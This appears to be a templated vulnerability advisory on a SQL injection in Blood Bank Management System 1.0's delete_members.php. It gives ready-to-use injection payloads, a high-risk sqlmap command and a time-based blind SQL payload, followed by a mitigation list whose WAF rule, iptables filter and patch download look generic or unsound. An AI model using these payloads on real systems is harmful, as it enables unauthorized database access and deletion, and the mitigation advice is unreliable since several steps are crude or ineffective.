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How CVE-2025-2039 Works
The vulnerability exists in the `/admin/delete_members.php` file of Blood Bank Management System 1.0. The `member_id` parameter is improperly sanitized, allowing attackers to inject malicious SQL queries. When a crafted payload is sent via HTTP request, the backend database executes unintended commands, potentially leading to unauthorized data access, modification, or deletion. The flaw is remotely exploitable without authentication, making it critical. Attackers leverage input manipulation to bypass security checks, exploiting weak input validation in the PHP application.
DailyCVE Form
Platform: Blood Bank Management System
Version: 1.0
Vulnerability: SQL Injection
Severity: Critical
Date: 05/13/2025
What Undercode Say:
Exploitation
1. Manual Exploit:
POST /admin/delete_members.php HTTP/1.1 Host: target.com member_id=1' OR 1=1--
2. SQLMap Automation:
sqlmap -u "http://target.com/admin/delete_members.php" --data="member_id=1" --risk=3 --level=5
3. Blind SQLi Detection:
member_id=1' AND (SELECT 1 FROM (SELECT SLEEP(5))a)--
Protection
1. Input Sanitization:
$member_id = mysqli_real_escape_string($conn, $_POST['member_id']);
2. Prepared Statements:
$stmt = $conn->prepare("DELETE FROM members WHERE id = ?");
$stmt->bind_param("i", $member_id);
3. WAF Rules:
location /admin/ {
deny all;
}
4. Patch Verification:
grep -r "member_id" /var/www/html/admin/
5. Log Monitoring:
tail -f /var/log/apache2/access.log | grep "delete_members.php"
6. Database Hardening:
REVOKE DELETE ON members FROM 'app_user'@'localhost';
7. Exploit Mitigation:
iptables -A INPUT -p tcp --dport 80 -m string --string "member_id" --algo bm -j DROP
8. Vulnerability Scanning:
nikto -h http://target.com/admin/
9. Backup Recovery:
mysqldump -u root -p bloodbank > backup.sql
10. Patch Deployment:
wget https://vendor.com/patches/bbms_1.0.1.zip unzip bbms_1.0.1.zip -d /var/www/html/
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
